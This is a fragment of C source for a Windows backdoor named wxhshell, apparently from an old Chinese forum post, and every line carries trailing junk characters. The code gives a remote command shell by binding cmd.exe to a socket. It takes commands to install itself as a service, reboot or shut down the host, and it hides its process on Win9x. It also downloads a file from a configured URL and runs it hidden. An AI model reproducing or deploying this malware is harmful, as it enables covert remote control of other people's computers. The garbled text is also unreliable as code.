  else { d:|X|0#\uH  
CD;C z*c  
    switch(cmd[0]) { }PTYNidlR  
  51u8.%{4  
  // 帮助 : 2Ho  
  case '?': { %+ynrg-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9s8B>(L  
    break; g@BQ!}_#5  
  } Es/\/vF7]D  
  // 安装 l\vtz5L  
  case 'i': { Po#;SG#Ee  
    if(Install()) *tC]Z&5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^6"nnfA#  
    else _@3@_GE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t."hAvRL  
    break; rV>/:FG  
    } po~V{>fUm  
  // 卸载 ;cgc\xm>  
  case 'r': { @0S3`[/U  
    if(Uninstall()) S\RjP*H*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %8NAWDb{  
    else #Cks&[!c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "E =\Vz  
    break; lS&$86Jo(  
    } 'yuM=Pb  
  // 显示 wxhshell 所在路径 :_E q(r  
  case 'p': { ^|M\vO  
    char svExeFile[MAX_PATH]; TO7%TW{L  
    strcpy(svExeFile,"\n\r"); !*_5 B'  
      strcat(svExeFile,ExeFile); v<c~ '?YzO  
        send(wsh,svExeFile,strlen(svExeFile),0); Bt[OGa(q  
    break; ]:m>pI*z.  
    } d~1Nct$:  
  // 重启 pCS2sq8RC  
  case 'b': { 6m"_=.k%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %T4htZa  
    if(Boot(REBOOT)) b1Bu5%bt,:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLK '_)|CT  
    else { m_{OCHS+  
    closesocket(wsh); P{v>o,a.  
    ExitThread(0); ;`Eie2y{M  
    } +Bk" khH  
    break; |d\ rCq >  
    } l ps 6lnh  
  // 关机 {Hxvt~P  
  case 'd': { O&YX V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H. UwM  
    if(Boot(SHUTDOWN))  W|XTa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a=}JW]  
    else { G66A]FIg  
    closesocket(wsh); 8@S7_x  
    ExitThread(0); F[uy'~;@  
    } ;A^0="x&  
    break; m\a_0!K  
    } R? aE:\A  
  // 获取shell ,#=ykg*~/  
  case 's': { kO3{2$S6  
    CmdShell(wsh); 5Z2E))UU  
    closesocket(wsh); c2M-/ x-:  
    ExitThread(0); aq-`Bar  
    break;  ut6M$d4  
  } 4R_Vi[i  
  // 退出 HSq.0vYl6  
  case 'x': { [$; \1P/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VayU   
    CloseIt(wsh); Lg[v-b=?I  
    break; >r Nff!Ow  
    } vfID@g`!q+  
  // 离开 3{e7j6u\  
  case 'q': { [hy:BV6H+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e">$[IhXtV  
    closesocket(wsh); M%=V vE.I  
    WSACleanup(); oK3uGPi  
    exit(1); % :?_N  
    break; -[-LR }u  
        } |Ad1/>8i  
  } piIr .]  
  } 3Cq/ o'  
Izrf42 >k  
  // 提示信息  =[Lo9Sg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KP)BD;  
} iUuG}rqj  
  } -$pS {q;  
xEK+NKTeV  
  return; {0(:7IY,  
} o`^GUY}  
s3m]rC  
// shell模块句柄 Lo, z7"8  
int CmdShell(SOCKET sock)  ESOuDD2<  
{ gcImk0NIY  
STARTUPINFO si; xl5n(~g)p  
ZeroMemory(&si,sizeof(si)); $YDZtS&h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @g|E b}t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F",]*> r  
PROCESS_INFORMATION ProcessInfo; 3#>;h  
char cmdline[]="cmd"; =~r?(u6d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g*UI~rp  
  return 0; LS:3Dtq  
} MFHPh8P  
`!MyOI`qS  
// 自身启动模式 Peha{]U  
int StartFromService(void) f_1#>]  
{ _E5%Px5>L  
typedef struct yjvH)t/!.  
{ $[VeZ-  
  DWORD ExitStatus; 7^k`:Z  
  DWORD PebBaseAddress; 9%\<x  
  DWORD AffinityMask; RL>Nl ow  
  DWORD BasePriority; I`h9P2~  
  ULONG UniqueProcessId; =YX/]g|9K  
  ULONG InheritedFromUniqueProcessId; 1E Lzzn  
}   PROCESS_BASIC_INFORMATION; R7us9qM4e  
s~$kzEtjjU  
PROCNTQSIP NtQueryInformationProcess; L1u  
ie$QKoE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fys@%PZq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P,RCbPC4  
|u)?h] >  
  HANDLE             hProcess; -tT{h 4  
  PROCESS_BASIC_INFORMATION pbi; R!xs;|]  
5VWXUNe@_q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3+m#v8h1  
  if(NULL == hInst ) return 0; )rD] y2^<  
JGIN<J85e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _1*EMq6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !U#kUj:4I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P,!W\N%3  
IoNZ'g?d  
  if (!NtQueryInformationProcess) return 0; b@N|sXt&C  
.hgc1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V_U$JKJ1=  
  if(!hProcess) return 0; '9GHmtdO,  
 D@qq=M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v:CYf_  
2uw%0r3Vi6  
  CloseHandle(hProcess); 6+IOJtj  
N`y!Km  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [8Ub#<]]  
if(hProcess==NULL) return 0; N;D (_:^  
HhNH"b&  
HMODULE hMod; ` e~/  
char procName[255]; N!;Y;<Ro_  
unsigned long cbNeeded; | x{:GWq  
5gI@~h S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^/R@bp#<  
.EH^1.|v  
  CloseHandle(hProcess); 8NeP7.U<w  
n_v c}ame  
if(strstr(procName,"services")) return 1; // 以服务启动 m*P~X*St  
@Sub.z&T{  
  return 0; // 注册表启动 jb)z[!FbM  
} abD55YJY  
&4"(bZ:LO  
// 主模块 8[f]9P/i  
int StartWxhshell(LPSTR lpCmdLine) <3HW!7Ad1  
{ zDa*n:S  
  SOCKET wsl; ezwcOYMXK  
BOOL val=TRUE; :@_CQc*yB  
  int port=0; n5S$Dl  
  struct sockaddr_in door; \R&`bAdk  
4OCz:t  
  if(wscfg.ws_autoins) Install(); LLgN%!&  
,0<|&D  
port=atoi(lpCmdLine); BEPDyy  
K"Nq_Ddwd  
if(port<=0) port=wscfg.ws_port; :Iwe>;}  
aU4'_%Y@  
  WSADATA data; nImRU.;P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d7Q. 'cyQ  
I" sKlMD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e[915Q_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u9mMkzgSkP  
  door.sin_family = AF_INET; /CKkT.Le  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xkUsZ*X8B  
  door.sin_port = htons(port); Ofqe+C  
]}>GUXe)^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  +tfmBZl^  
closesocket(wsl); b)@D*plS&  
return 1; {!^HG+  
} }qV4]*+{  
o>U%3-+T^J  
  if(listen(wsl,2) == INVALID_SOCKET) { w^R5/#F_r  
closesocket(wsl); s_`wLQ7e  
return 1; 7jts;H=  
} An]*J|nFIY  
  Wxhshell(wsl); W'gCFX  
  WSACleanup(); pPQ]#v  
'O\K Wj{  
return 0; Dvd.Q/f  
^Po\:x%o  
} k qwS/s  
#J2856bzS  
// 以NT服务方式启动 j?w7X?1(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D ?,P\cp  
{ |r0j>F  
DWORD   status = 0; /^/'9}7  
  DWORD   specificError = 0xfffffff; webT  
1+#Vj#  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  PJk Mn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /"iYEr%_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )E6m}?H5  
  serviceStatus.dwWin32ExitCode     = 0; Qt>yRt  
  serviceStatus.dwServiceSpecificExitCode = 0; X$JKEW;0BP  
  serviceStatus.dwCheckPoint       = 0; 1f[!=p  
  serviceStatus.dwWaitHint       = 0; 8{?Oi'-|0  
D*D83z OzN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ih,~h[  
  if (hServiceStatusHandle==0) return; S'E6#   
3kYUO-qw  
status = GetLastError(); GVEjB;  
  if (status!=NO_ERROR) v`Sllv5bV  
{ H.i_,ZF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]4z?sk@  
    serviceStatus.dwCheckPoint       = 0; b;x^>(It  
    serviceStatus.dwWaitHint       = 0; bd)A6a\h  
    serviceStatus.dwWin32ExitCode     = status; (#Y2H  
    serviceStatus.dwServiceSpecificExitCode = specificError; R_@yj]%H=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (5G^"Srw  
    return; %f{kT<XHu  
  } +;cw<9%0  
6x[gg !;85  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U.wgae].O;  
  serviceStatus.dwCheckPoint       = 0; N@j|I* y|  
  serviceStatus.dwWaitHint       = 0; G e~&Ble  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1L &_3}  
} :1.$7W t  
/3+7a\|mKr  
// 处理NT服务事件,比如:启动、停止 ~"=nt@M]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5%4:)s{4|  
{ =euoSH D}  
switch(fdwControl) Sl 6}5  
{ &+*jTE  
case SERVICE_CONTROL_STOP: >mt<`s  
  serviceStatus.dwWin32ExitCode = 0; eU{=x$o6S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MWhFNfS8=  
  serviceStatus.dwCheckPoint   = 0; IL>Gi`Y&  
  serviceStatus.dwWaitHint     = 0; `+* Mr  
  { pOS.`rSK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~9'VP }\  
  } z@iY(;Qo  
  return; B~~rLo:a  
case SERVICE_CONTROL_PAUSE: oPWvZI(\&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \h #vL  
  break; \ =83#*KK  
case SERVICE_CONTROL_CONTINUE: y4envjl 0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r}vI#;&  
  break; L {5zA5#m  
case SERVICE_CONTROL_INTERROGATE: $9ON 3>  
  break; KN+*_L-  
}; TXy*-<#vR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5(DCq(\P*  
} R8HA X  
JQbI^ef_;  
// 标准应用程序主函数 ;%U`lE0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v3aiX  
{ Vwv O@G7A  
`CHgTkv  
// 获取操作系统版本 GbZA3.J]yl  
OsIsNt=GetOsVer(); x28Bz*O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]CHMkuP[k  
#Q|$&b  
  // 从命令行安装 !5=3Y4bg1  
  if(strpbrk(lpCmdLine,"iI")) Install();  i4Fw+Z  
fT'A{&h|U  
  // 下载执行文件 uYO?Rb&}  
if(wscfg.ws_downexe) { N 8mK^{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /nC"'d(#  
  WinExec(wscfg.ws_filenam,SW_HIDE); I98wMV8  
} c?z% z&  
JDMaLo  
if(!OsIsNt) { St&XG>nWS  
// 如果时win9x,隐藏进程并且设置为注册表启动 ][0HJG{{g  
HideProc(); [!aHP ?-  
StartWxhshell(lpCmdLine); e=_*\`/CN  
} z2,rnm)Q  
else s'5 jvlG  
  if(StartFromService()) uHwuw_eK`  
  // 以服务方式启动 My5X%)T>P  
  StartServiceCtrlDispatcher(DispatchTable); k"L_0HK  
else ~[,E i k  
  // 普通方式启动 Ie+z"&0  
  StartWxhshell(lpCmdLine); {~d4;ht1Y  
bg 7b!t1F  
return 0; g[Yok` e[  
}
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只看该作者 1 发表于: 2006-10-10
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